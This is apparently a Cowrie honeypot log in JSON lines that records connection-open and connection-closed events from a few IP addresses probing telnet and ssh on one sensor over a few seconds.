{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59784,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6eb2404a763","protocol":"telnet","message":"New connection: 51.161.172.108:59784 (159.203.135.109:23) [session: f6eb2404a763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.986062Z"}
{"eventid":"cowrie.session.closed","duration":33.86532139778137,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:11.038654Z","src_ip":"167.99.38.72","session":"c1a501437bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72571849822998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:11.673385Z","src_ip":"51.161.172.108","session":"0ed6bf1b0bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59788,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9df7b59e9c","protocol":"telnet","message":"New connection: 51.161.172.108:59788 (159.203.135.109:23) [session: fc9df7b59e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:11.716846Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59794,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ae56657af6","protocol":"telnet","message":"New connection: 51.161.172.108:59794 (159.203.135.109:23) [session: 15ae56657af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:11.777420Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59804,"dst_ip":"159.203.135.109","dst_port":23,"session":"26cf9efd6b0e","protocol":"telnet","message":"New connection: 51.161.172.108:59804 (159.203.135.109:23) [session: 26cf9efd6b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.013411Z"}
{"eventid":"cowrie.session.closed","duration":30.88697910308838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.059063Z","src_ip":"45.10.154.244","session":"aed956a13033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06318020820618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.063729Z","src_ip":"51.161.172.108","session":"3a272aa84065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45939540863037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.246629Z","src_ip":"51.161.172.108","session":"e539f693b554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93333125114441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.387838Z","src_ip":"51.161.172.108","session":"49ae6d20f6d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59818,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e135ed80739","protocol":"telnet","message":"New connection: 51.161.172.108:59818 (159.203.135.109:23) [session: 9e135ed80739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.401788Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59834,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f6315378d3","protocol":"telnet","message":"New connection: 51.161.172.108:59834 (159.203.135.109:23) [session: 80f6315378d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.449391Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59846,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9759fae9483","protocol":"telnet","message":"New connection: 51.161.172.108:59846 (159.203.135.109:23) [session: f9759fae9483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.627913Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59860,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fefd5716fb5","protocol":"telnet","message":"New connection: 51.161.172.108:59860 (159.203.135.109:23) [session: 1fefd5716fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.734239Z"}
{"eventid":"cowrie.session.closed","duration":31.689138650894165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.937064Z","src_ip":"51.161.172.108","session":"594b2345458f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59870,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e62b37e1bc","protocol":"telnet","message":"New connection: 51.161.172.108:59870 (159.203.135.109:23) [session: 36e62b37e1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:12.959109Z"}
{"eventid":"cowrie.session.closed","duration":36.53311729431152,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.121006Z","src_ip":"51.161.172.108","session":"50bf811ce800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51798,"dst_ip":"10.17.0.5","dst_port":23,"session":"2825427ef073","protocol":"telnet","message":"New connection: 45.10.154.244:51798 (10.17.0.5:23) [session: 2825427ef073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.413134Z"}
{"eventid":"cowrie.session.closed","duration":32.49747347831726,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.419947Z","src_ip":"51.161.172.108","session":"ffdbb90f7850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95372176170349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.477351Z","src_ip":"51.161.172.108","session":"9e34b55ddffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":49004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b005e0f56748","protocol":"telnet","message":"New connection: 34.69.118.1:49004 (159.203.135.109:23) [session: b005e0f56748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.554130Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":34384,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5c11644f23","protocol":"telnet","message":"New connection: 167.99.38.72:34384 (159.203.135.109:23) [session: ce5c11644f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.623297Z"}
{"eventid":"cowrie.session.closed","duration":33.823808670043945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.680252Z","src_ip":"34.69.118.1","session":"c8463e226636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f584e25becb","protocol":"telnet","message":"New connection: 51.161.172.108:59902 (159.203.135.109:23) [session: 3f584e25becb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.733671Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59912,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d580ed6010","protocol":"telnet","message":"New connection: 51.161.172.108:59912 (159.203.135.109:23) [session: 54d580ed6010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:13.840343Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59920,"dst_ip":"159.203.135.109","dst_port":23,"session":"babf0ea1486b","protocol":"telnet","message":"New connection: 51.161.172.108:59920 (159.203.135.109:23) [session: babf0ea1486b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.008979Z"}
{"eventid":"cowrie.session.closed","duration":30.735865592956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.049528Z","src_ip":"45.10.154.244","session":"45e322afb0e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84570622444153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.143118Z","src_ip":"45.10.154.244","session":"1bd36c624609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59886,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f744813d3f","protocol":"telnet","message":"New connection: 51.161.172.108:59886 (159.203.135.109:23) [session: f4f744813d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.446085Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59934,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f9580a61900","protocol":"telnet","message":"New connection: 51.161.172.108:59934 (159.203.135.109:23) [session: 0f9580a61900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.501747Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59926,"dst_ip":"159.203.135.109","dst_port":23,"session":"792410cf73bd","protocol":"telnet","message":"New connection: 51.161.172.108:59926 (159.203.135.109:23) [session: 792410cf73bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.530394Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55870,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b07eeacc2c","protocol":"telnet","message":"New connection: 45.10.154.244:55870 (10.17.0.5:23) [session: 37b07eeacc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.580725Z"}
{"eventid":"cowrie.session.closed","duration":31.42403554916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.776831Z","src_ip":"51.161.172.108","session":"9fd61ed94810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59940,"dst_ip":"159.203.135.109","dst_port":23,"session":"8677669818ac","protocol":"telnet","message":"New connection: 51.161.172.108:59940 (159.203.135.109:23) [session: 8677669818ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.802442Z"}
{"eventid":"cowrie.session.closed","duration":31.79591655731201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.919114Z","src_ip":"45.10.154.244","session":"a48984fe87a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59952,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b853969ae6","protocol":"telnet","message":"New connection: 51.161.172.108:59952 (159.203.135.109:23) [session: 38b853969ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.930698Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59964,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b2fc21c79a","protocol":"telnet","message":"New connection: 51.161.172.108:59964 (159.203.135.109:23) [session: c9b2fc21c79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:14.967583Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"a380d7c1c646","protocol":"telnet","message":"New connection: 51.161.172.108:59974 (159.203.135.109:23) [session: a380d7c1c646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.082790Z"}
{"eventid":"cowrie.session.closed","duration":31.056740045547485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.388678Z","src_ip":"51.161.172.108","session":"5cdeff8caf2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195003509521484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.474183Z","src_ip":"51.161.172.108","session":"98e906421ba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261952877044678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.716854Z","src_ip":"51.161.172.108","session":"cbf5d7207b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a55d0ebe8ea","protocol":"telnet","message":"New connection: 51.161.172.108:59982 (159.203.135.109:23) [session: 8a55d0ebe8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.803363Z"}
{"eventid":"cowrie.session.closed","duration":"53.7","message":"Connection lost after 53.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.863287Z","src_ip":"122.168.114.167","session":"687ae916330d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.116485834121704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.884339Z","src_ip":"51.161.172.108","session":"4423849119c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.101258754730225,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:15.995227Z","src_ip":"51.161.172.108","session":"57c60931e247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288975954055786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.303349Z","src_ip":"45.10.154.244","session":"66240ba1c2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60008,"dst_ip":"159.203.135.109","dst_port":23,"session":"f30c05a37d8e","protocol":"telnet","message":"New connection: 51.161.172.108:60008 (159.203.135.109:23) [session: f30c05a37d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.485809Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e57ed2402e","protocol":"telnet","message":"New connection: 51.161.172.108:60002 (159.203.135.109:23) [session: f0e57ed2402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.551344Z"}
{"eventid":"cowrie.session.closed","duration":30.94103765487671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.620026Z","src_ip":"51.161.172.108","session":"8eba113dd17e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35382,"dst_ip":"10.17.0.5","dst_port":23,"session":"a141894e692d","protocol":"telnet","message":"New connection: 45.10.154.244:35382 (10.17.0.5:23) [session: a141894e692d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.625034Z"}
{"eventid":"cowrie.session.closed","duration":31.6143536567688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.636137Z","src_ip":"51.161.172.108","session":"3186c16cdca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224225521087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.643179Z","src_ip":"51.161.172.108","session":"1feb9b0b8cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46858239173889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.739593Z","src_ip":"51.161.172.108","session":"c31c561d4353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7325736432d","protocol":"telnet","message":"New connection: 51.161.172.108:60020 (159.203.135.109:23) [session: d7325736432d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.880767Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60018,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff352ecea03","protocol":"telnet","message":"New connection: 51.161.172.108:60018 (159.203.135.109:23) [session: bff352ecea03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:16.884784Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59988,"dst_ip":"159.203.135.109","dst_port":23,"session":"45e5cdab771c","protocol":"telnet","message":"New connection: 51.161.172.108:59988 (159.203.135.109:23) [session: 45e5cdab771c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.037439Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60034,"dst_ip":"159.203.135.109","dst_port":23,"session":"811b10107e85","protocol":"telnet","message":"New connection: 51.161.172.108:60034 (159.203.135.109:23) [session: 811b10107e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.050765Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60050,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88819d3034f","protocol":"telnet","message":"New connection: 51.161.172.108:60050 (159.203.135.109:23) [session: c88819d3034f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.201466Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59996,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c00c08205b","protocol":"telnet","message":"New connection: 51.161.172.108:59996 (159.203.135.109:23) [session: 30c00c08205b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.229609Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60062,"dst_ip":"159.203.135.109","dst_port":23,"session":"a379bcdb695a","protocol":"telnet","message":"New connection: 51.161.172.108:60062 (159.203.135.109:23) [session: a379bcdb695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.360540Z"}
{"eventid":"cowrie.session.closed","duration":31.391737699508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.676947Z","src_ip":"51.161.172.108","session":"bf42f2fdb1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be15426aaac","protocol":"telnet","message":"New connection: 45.10.154.244:39418 (10.17.0.5:23) [session: 8be15426aaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.705452Z"}
{"eventid":"cowrie.session.closed","duration":31.363579034805298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:17.805894Z","src_ip":"51.161.172.108","session":"1daed24f842d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32823610305786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.127750Z","src_ip":"51.161.172.108","session":"d88bd03cc517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e73b2a3c5d","protocol":"telnet","message":"New connection: 51.161.172.108:60100 (159.203.135.109:23) [session: 51e73b2a3c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.155688Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60088,"dst_ip":"159.203.135.109","dst_port":23,"session":"132b80baa338","protocol":"telnet","message":"New connection: 51.161.172.108:60088 (159.203.135.109:23) [session: 132b80baa338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.168003Z"}
{"eventid":"cowrie.session.closed","duration":31.160691499710083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.238559Z","src_ip":"51.161.172.108","session":"7671ad8ec3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41318,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ebf829a5d61","protocol":"telnet","message":"New connection: 45.10.154.244:41318 (10.17.0.5:23) [session: 5ebf829a5d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.269874Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60114,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d2ef7f8ae9","protocol":"telnet","message":"New connection: 51.161.172.108:60114 (159.203.135.109:23) [session: 19d2ef7f8ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.312619Z"}
{"eventid":"cowrie.session.closed","duration":31.251133918762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.325075Z","src_ip":"51.161.172.108","session":"c1a7f1d4f25f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60796093940735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.388435Z","src_ip":"51.161.172.108","session":"5bc76f1ffc62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.294575929641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.537221Z","src_ip":"51.161.172.108","session":"bb7e11e79663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60162,"dst_ip":"159.203.135.109","dst_port":23,"session":"383733599ecc","protocol":"telnet","message":"New connection: 51.161.172.108:60162 (159.203.135.109:23) [session: 383733599ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.706222Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60174,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf3aeadc3c3","protocol":"telnet","message":"New connection: 51.161.172.108:60174 (159.203.135.109:23) [session: ccf3aeadc3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.881870Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60168,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c1b2f1ed12","protocol":"telnet","message":"New connection: 51.161.172.108:60168 (159.203.135.109:23) [session: 07c1b2f1ed12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:18.957290Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60180,"dst_ip":"159.203.135.109","dst_port":23,"session":"3888820a9b86","protocol":"telnet","message":"New connection: 51.161.172.108:60180 (159.203.135.109:23) [session: 3888820a9b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.139029Z"}
{"eventid":"cowrie.session.closed","duration":30.436257362365723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.180807Z","src_ip":"51.161.172.108","session":"71bc212c9eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c2f2cbee704","protocol":"telnet","message":"New connection: 51.161.172.108:60184 (159.203.135.109:23) [session: 2c2f2cbee704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.193074Z"}
{"eventid":"cowrie.session.closed","duration":30.969003438949585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.203074Z","src_ip":"51.161.172.108","session":"758f9fccf4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45305a054a3","protocol":"telnet","message":"New connection: 45.10.154.244:45366 (10.17.0.5:23) [session: f45305a054a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:19.348374Z"}
